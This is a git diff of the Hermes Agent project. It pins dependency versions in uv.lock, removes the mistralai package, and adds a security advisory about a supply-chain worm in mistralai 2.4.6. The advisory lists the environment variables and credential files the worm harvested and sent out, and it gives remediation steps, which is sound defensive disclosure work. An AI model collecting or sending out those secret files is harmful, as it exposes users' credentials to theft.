'sms'", specifier = "==3.13.3" }, + { name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = "==0.11.0" }, + { name = "aiosqlite", marker = "extra == 'matrix'", specifier = "==0.22.1" }, + { name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = "==2.2.42" }, + { name = "anthropic", marker = "extra == 'anthropic'", specifier = "==0.86.0" }, + { name = "asyncpg", marker = "extra == 'matrix'", specifier = "==0.31.0" }, { name = "atroposlib", marker = "extra == 'rl'", git = "https://github.com/NousResearch/atropos.git?rev=c20c85256e5a45ad31edf8b7276e9c5ee1995a30" }, - { name = "boto3", marker = "extra == 'bedrock'", specifier = ">=1.35.0,<2" }, - { name = "croniter", specifier = ">=6.0.0,<7" }, - { name = "daytona", marker = "extra == 'daytona'", specifier = ">=0.148.0,<1" }, - { name = "debugpy", marker = "extra == 'dev'", specifier = ">=1.8.0,<2" }, - { name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = ">=0.20,<1" }, - { name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = ">=2.7.1,<3" }, - { name = "edge-tts", specifier = ">=7.2.7,<8" }, - { name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = ">=1.0,<2" }, - { name = "exa-py", specifier = ">=2.9.0,<3" }, - { name = "fal-client", specifier = ">=0.13.1,<1" }, - { name = "fastapi", marker = "extra == 'rl'", specifier = ">=0.104.0,<1" }, - { name = "fastapi", marker = "extra == 'web'", specifier = ">=0.104.0,<1" }, - { name = "faster-whisper", marker = "extra == 'voice'", specifier = ">=1.0.0,<2" }, - { name = "fire", specifier = ">=0.7.1,<1" }, - { name = "firecrawl-py", specifier = ">=4.16.0,<5" }, - { name = "google-api-python-client", marker = "extra == 'google'", specifier = ">=2.100,<3" }, - { name = "google-auth-httplib2", marker = "extra == 'google'", specifier = ">=0.2,<1" }, - { name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = ">=1.0,<2" }, + { name = "boto3", marker = "extra == 'bedrock'", specifier = "==1.42.89" }, + { name = "croniter", specifier = "==6.0.0" }, + { name = "daytona", marker = "extra == 'daytona'", specifier = "==0.155.0" }, + { name = "debugpy", marker = "extra == 'dev'", specifier = "==1.8.20" }, + { name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = "==0.24.3" }, + { name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = "==2.7.1" }, + { name = "edge-tts", marker = "extra == 'edge-tts'", specifier = "==7.2.7" }, + { name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = "==1.59.0" }, + { name = "exa-py", marker = "extra == 'exa'", specifier = "==2.10.2" }, + { name = "fal-client", marker = "extra == 'fal'", specifier = "==0.13.1" }, + { name = "fastapi", marker = "extra == 'rl'", specifier = "==0.133.1" }, + { name = "fastapi", marker = "extra == 'web'", specifier = "==0.133.1" }, + { name = "faster-whisper", marker = "extra == 'voice'", specifier = "==1.2.1" }, + { name = "fire", specifier = "==0.7.1" }, + { name = "firecrawl-py", marker = "extra == 'firecrawl'", specifier = "==4.17.0" }, + { name = "google-api-python-client", marker = "extra == 'google'", specifier = "==2.194.0" }, + { name = "google-auth-httplib2", marker = "extra == 'google'", specifier = "==0.3.1" }, + { name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = "==1.3.1" }, { name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" }, + { name = "hermes-agent", extras = ["anthropic"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" }, @@ -2219,8 +2224,12 @@ requires-dist = [ { name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" }, + { name = "hermes-agent", extras = ["edge-tts"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["exa"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["fal"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" }, + { name = "hermes-agent", extras = ["firecrawl"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" }, @@ -2232,9 +2241,8 @@ requires-dist = [ { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["parallel-web"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" }, @@ -2249,60 +2257,59 @@ requires-dist = [ { name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" }, - { name = "hindsight-client", marker = "extra == 'hindsight'", specifier = ">=0.4.22" }, - { name = "honcho-ai", marker = "extra == 'honcho'", specifier = ">=2.0.1,<3" }, - { name = "httpx", extras = ["socks"], specifier = ">=0.28.1,<1" }, - { name = "jinja2", specifier = ">=3.1.5,<4" }, - { name = "lark-oapi", marker = "extra == 'feishu'", specifier = ">=1.5.3,<2" }, - { name = "markdown", marker = "extra == 'matrix'", specifier = ">=3.6,<4" }, - { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = ">=0.20,<1" }, - { name = "mcp", marker = "extra == 'computer-use'", specifier = ">=1.2.0,<2" }, - { name = "mcp", marker = "extra == 'dev'", specifier = ">=1.2.0,<2" }, - { name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.2.0,<2" }, - { name = "mistralai", marker = "extra == 'mistral'", specifier = ">=2.3.0,<3" }, - { name = "modal", marker = "extra == 'modal'", specifier = ">=1.0.0,<2" }, - { name = "numpy", marker = "extra == 'voice'", specifier = ">=1.24.0,<3" }, - { name = "openai", specifier = ">=2.21.0,<3" }, - { name = "parallel-web", specifier = ">=0.4.2,<1" }, - { name = "prompt-toolkit", specifier = ">=3.0.52,<4" }, - { name = "psutil", specifier = ">=5.9.0,<8" }, - { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = ">=0.7.0,<1" }, - { name = "pydantic", specifier = ">=2.12.5,<3" }, - { name = "pyjwt", extras = ["crypto"], specifier = ">=2.12.0,<3" }, - { name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2,<10" }, - { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0,<2" }, - { name = "pytest-split", marker = "extra == 'dev'", specifier = ">=0.9,<1" }, - { name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.0,<4" }, - { name = "python-dotenv", specifier = ">=1.2.1,<2" }, - { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = ">=22.6,<23" }, - { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = ">=22.6,<23" }, - { name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = ">=2.0.0,<3" }, - { name = "pyyaml", specifier = ">=6.0.2,<7" }, - { name = "qrcode", marker = "extra == 'dingtalk'", specifier = ">=7.0,<8" }, - { name = "qrcode", marker = "extra == 'feishu'", specifier = ">=7.0,<8" }, - { name = "qrcode", marker = "extra == 'messaging'", specifier = ">=7.0,<8" }, - { name = "requests", specifier = ">=2.33.0,<3" }, - { name = "rich", specifier = ">=14.3.3,<15" }, - { name = "ruamel-yaml", specifier = ">=0.18.16,<0.19" }, - { name = "ruff", marker = "extra == 'dev'" }, - { name = "simple-term-menu", marker = "extra == 'cli'", specifier = ">=1.0,<2" }, - { name = "slack-bolt", marker = "extra == 'messaging'", specifier = ">=1.18.0,<2" }, - { name = "slack-bolt", marker = "extra == 'slack'", specifier = ">=1.18.0,<2" }, - { name = "slack-sdk", marker = "extra == 'messaging'", specifier = ">=3.27.0,<4" }, - { name = "slack-sdk", marker = "extra == 'slack'", specifier = ">=3.27.0,<4" }, - { name = "sounddevice", marker = "extra == 'voice'", specifier = ">=0.4.6,<1" }, - { name = "tenacity", specifier = ">=9.1.4,<10" }, + { name = "hindsight-client", marker = "extra == 'hindsight'", specifier = "==0.6.1" }, + { name = "honcho-ai", marker = "extra == 'honcho'", specifier = "==2.0.1" }, + { name = "httpx", extras = ["socks"], specifier = "==0.28.1" }, + { name = "jinja2", specifier = "==3.1.6" }, + { name = "lark-oapi", marker = "extra == 'feishu'", specifier = "==1.5.3" }, + { name = "markdown", marker = "extra == 'matrix'", specifier = "==3.10.2" }, + { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = "==0.21.0" }, + { name = "mcp", marker = "extra == 'computer-use'", specifier = "==1.26.0" }, + { name = "mcp", marker = "extra == 'dev'", specifier = "==1.26.0" }, + { name = "mcp", marker = "extra == 'mcp'", specifier = "==1.26.0" }, + { name = "modal", marker = "extra == 'modal'", specifier = "==1.3.4" }, + { name = "numpy", marker = "extra == 'voice'", specifier = "==2.4.3" }, + { name = "openai", specifier = "==2.24.0" }, + { name = "parallel-web", marker = "extra == 'parallel-web'", specifier = "==0.4.2" }, + { name = "prompt-toolkit", specifier = "==3.0.52" }, + { name = "psutil", specifier = "==7.2.2" }, + { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = "==0.7.0" }, + { name = "pydantic", specifier = "==2.12.5" }, + { name = "pyjwt", extras = ["crypto"], specifier = "==2.12.1" }, + { name = "pytest", marker = "extra == 'dev'", specifier = "==9.0.2" }, + { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = "==1.3.0" }, + { name = "pytest-split", marker = "extra == 'dev'", specifier = "==0.11.0" }, + { name = "pytest-xdist", marker = "extra == 'dev'", specifier = "==3.8.0" }, + { name = "python-dotenv", specifier = "==1.2.1" }, + { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = "==22.6" }, + { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = "==22.6" }, + { name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = "==2.0.15" }, + { name = "pyyaml", specifier = "==6.0.3" }, + { name = "qrcode", marker = "extra == 'dingtalk'", specifier = "==7.4.2" }, + { name = "qrcode", marker = "extra == 'feishu'", specifier = "==7.4.2" }, + { name = "qrcode", marker = "extra == 'messaging'", specifier = "==7.4.2" }, + { name = "requests", specifier = "==2.33.0" }, + { name = "rich", specifier = "==14.3.3" }, + { name = "ruamel-yaml", specifier = "==0.18.17" }, + { name = "ruff", marker = "extra == 'dev'", specifier = "==0.15.10" }, + { name = "simple-term-menu", marker = "extra == 'cli'", specifier = "==1.6.6" }, + { name = "slack-bolt", marker = "extra == 'messaging'", specifier = "==1.27.0" }, + { name = "slack-bolt", marker = "extra == 'slack'", specifier = "==1.27.0" }, + { name = "slack-sdk", marker = "extra == 'messaging'", specifier = "==3.40.1" }, + { name = "slack-sdk", marker = "extra == 'slack'", specifier = "==3.40.1" }, + { name = "sounddevice", marker = "extra == 'voice'", specifier = "==0.5.5" }, + { name = "tenacity", specifier = "==9.1.4" }, { name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" }, - { name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.1a29,<0.0.22" }, - { name = "tzdata", marker = "sys_platform == 'win32'", specifier = ">=2023.3" }, - { name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = ">=0.24.0,<1" }, - { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.24.0,<1" }, - { name = "vercel", marker = "extra == 'vercel'", specifier = ">=0.5.7,<0.6.0" }, - { name = "wandb", marker = "extra == 'rl'", specifier = ">=0.15.0,<1" }, + { name = "ty", marker = "extra == 'dev'", specifier = "==0.0.21" }, + { name = "tzdata", marker = "sys_platform == 'win32'", specifier = "==2025.3" }, + { name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = "==0.41.0" }, + { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = "==0.41.0" }, + { name = "vercel", marker = "extra == 'vercel'", specifier = "==0.5.7" }, + { name = "wandb", marker = "extra == 'rl'", specifier = "==0.25.1" }, { name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" }, - { name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = ">=1.2.0" }, + { name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = "==1.2.4" }, ] -provides-extras = ["modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "mistral", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"] +provides-extras = ["anthropic", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"] [[package]] name = "hf-transfer" @@ -2688,15 +2695,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/f8/62/d9ba6323b9202dd2fe166beab8a86d29465c41a0288cbe229fac60c1ab8d/jsonlines-4.0.0-py3-none-any.whl", hash = "sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55", size = 8701, upload-time = "2023-09-01T12:34:42.563Z" }, ] -[[package]] -name = "jsonpath-python" -version = "1.1.5" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/2d/db/2f4ecc24da35c6142b39c353d5b7c16eef955cc94b35a48d3fa47996d7c3/jsonpath_python-1.1.5.tar.gz", hash = "sha256:ceea2efd9e56add09330a2c9631ea3d55297b9619348c1055e5bfb9cb0b8c538", size = 87352, upload-time = "2026-03-17T06:16:40.597Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/28/50/1a313fb700526b134c71eb8a225d8b83be0385dbb0204337b4379c698cef/jsonpath_python-1.1.5-py3-none-any.whl", hash = "sha256:a60315404d70a65e76c9a782c84e50600480221d94a58af47b7b4d437351cb4b", size = 14090, upload-time = "2026-03-17T06:16:39.152Z" }, -] - [[package]] name = "jsonschema" version = "4.26.0" @@ -3117,25 +3115,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, ] -[[package]] -name = "mistralai" -version = "2.3.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "eval-type-backport" }, - { name = "httpx" }, - { name = "jsonpath-python" }, - { name = "opentelemetry-api" }, - { name = "opentelemetry-semantic-conventions" }, - { name = "pydantic" }, - { name = "python-dateutil" }, - { name = "typing-inspection" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/4d/05/40c38c8893f0ec858756b30f4a939378fc62cf33565af538a843497f3f24/mistralai-2.3.0.tar.gz", hash = "sha256:eb371a9b3b62552f3d4a274ecf5b2c48b90fd3439ecd1425e7f5163cdd87e29a", size = 387145, upload-time = "2026-04-03T15:06:48.927Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/bd/57/d06cbfd96ec6dc45d5c1fe9456f7fcfcb9549c9fa91e213561d1d88729e7/mistralai-2.3.0-py3-none-any.whl", hash = "sha256:22111747c215f1632141660151924f06579f87cd8db2649e0b1f87721d076851", size = 925544, upload-time = "2026-04-03T15:06:47.593Z" }, -] - [[package]] name = "modal" version = "1.3.4" diff --git a/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md b/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md new file mode 100644 index 00000000000..1cb2ec79e4c --- /dev/null +++ b/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md @@ -0,0 +1,138 @@ +# Hermes Agent — Security Advisory: Mini Shai-Hulud worm (mistralai 2.4.6) + +**Date:** May 12, 2026 +**Status:** Quarantined upstream / mitigated in Hermes +**Severity:** Critical +**Affected:** Users who installed `hermes-agent[all]` or `hermes-agent[mistral]` between the upload of `mistralai 2.4.6` and PyPI's quarantine of the package. + +## What happened + +The Mini Shai-Hulud supply-chain worm crossed from npm to PyPI on 2026-05-12. +Among the compromised PyPI artifacts was `mistralai 2.4.6` — the official +Mistral AI Python SDK. The worm steals credentials from environment +variables and credential files (`~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, +GitHub PATs, cloud SDK tokens) and exfils them to a hardcoded webhook. + +Hermes Agent listed `mistralai>=2.3.0,<3` as the runtime dependency for its +optional Mistral TTS / STT providers. Users who installed +`pip install -e ".[all]"` between the malicious upload and the quarantine +pulled `mistralai 2.4.6` into their venv. PyPI has since removed the project +(`pypi:project-status: quarantined`), so the package is no longer +installable, but copies that landed before quarantine remain in users' +environments. + +## Am I affected? + +Run on the host where you installed Hermes: + +```bash +hermes doctor +``` + +If the **Security Advisories** section flags +`mistralai==2.4.6`, you have the compromised package and must remediate. +If it flags any **other** version of `mistralai`, you are not on the +compromised release — but we still recommend uninstalling, since the +project is currently quarantined and we have disabled Mistral TTS / STT +in Hermes regardless. + +You can also check manually: + +```bash +pip show mistralai 2>/dev/null | grep -i version +``` + +## What we've done in Hermes Agent + +1. **Removed `mistral` from the `[all]` extra** so fresh installs no + longer pull the package by default. (PR #24205, already on main.) +2. **Disabled the Mistral TTS and STT providers** in the runtime — they + return a "temporarily disabled" error and won't import the SDK even + if the venv still has it. +3. **Added a security advisory checker** (`hermes doctor` and CLI startup + banner) that detects `mistralai 2.4.6` if it's still installed and + surfaces remediation steps. The banner is rate-limited (max once per + 24h per advisory) and dismissible via `hermes doctor --ack`. +4. **Hardened the installer fallback tiers.** When one extra's + dependency becomes unavailable on PyPI, the installer now degrades + gracefully — keeping every other extra — instead of dropping all the + way to a stripped install. Future supply-chain incidents won't + silently demote users. +5. **Added a lazy-install framework** (`tools/lazy_deps.py`) so opt-in + backends (Mistral, ElevenLabs, Honcho, etc.) can be installed on + demand when the user enables them, rather than eagerly at install + time. This shrinks every fresh install's blast radius for future + single-package compromises. + +## What you should do + +If `hermes doctor` flags `mistralai==2.4.6`, treat the credentials in +your environment as exposed: + +1. **Uninstall the compromised package:** + ```bash + pip uninstall -y mistralai + # or, if you installed via uv: + uv pip uninstall mistralai + ``` + +2. **Rotate API keys.** Every key in `~/.hermes/.env` should be rotated: + OpenRouter, Anthropic, OpenAI, Nous, GitHub, AWS, Google, Mistral, + and any other provider tokens you have configured. If you used a + shell that exported keys (`.bashrc`, `.zshrc`, etc.), rotate those + too. + +3. **Audit credential files** for tokens that may have been read: + `~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`, + `~/.docker/config.json`, `~/.kube/config`, `~/.ssh/`. The worm + harvested files matching these patterns. + +4. **Check GitHub** for unexpected new SSH keys, deploy keys, or webhook + additions on repositories you have admin on. The worm uses stolen + GitHub tokens to add backdoors. + +5. **After cleanup**, dismiss the Hermes warning: + ```bash + hermes doctor --ack shai-hulud-2026-05 + ``` + +## When will Mistral TTS / STT come back? + +When PyPI restores the `mistralai` project to a clean release and we +verify the new release on a clean network, we will re-enable Mistral +TTS / STT in Hermes Agent. Until then, use Edge TTS (default, no key), +ElevenLabs, OpenAI TTS, MiniMax TTS, or any of the user-defined command +providers. For STT, use Groq Whisper or OpenAI Whisper. + +## Future hardening + +This incident exposed two structural weaknesses in our install path: + +- Eager-install of every optional extra meant ONE compromised package + could break the whole `[all]` resolve. **Fixed** via tiered fallback + + lazy-install framework. +- Users had no way to know whether they had a poisoned dependency. + **Fixed** via `hermes_cli/security_advisories.py` and the + `hermes doctor` integration. + +We will continue to extend `tools/lazy_deps.py` so additional opt-in +backends (Slack, Matrix, Bedrock, DingTalk, Feishu, Google Workspace, +YouTube transcripts, etc.) can be installed on first use rather than +eagerly. This reduces the blast radius of any future single-package +compromise. + +## References + +- Socket Security report: +- PyPI quarantine: + (project-status: quarantined as of 2026-05-12) +- Hermes Agent PR (mistral disabled): #24205 +- Hermes Agent PR (advisory checker + lazy installs): _this PR_ +- GitHub security advisory: _to be filed alongside this PR_ + +## Credits + +Reported via [@SocketSecurity](https://twitter.com/SocketSecurity) and +the broader supply-chain security community. Hermes Agent's response +(detection, lazy-install framework, installer tier hardening) was built +by the Hermes Agent team at Nous Research.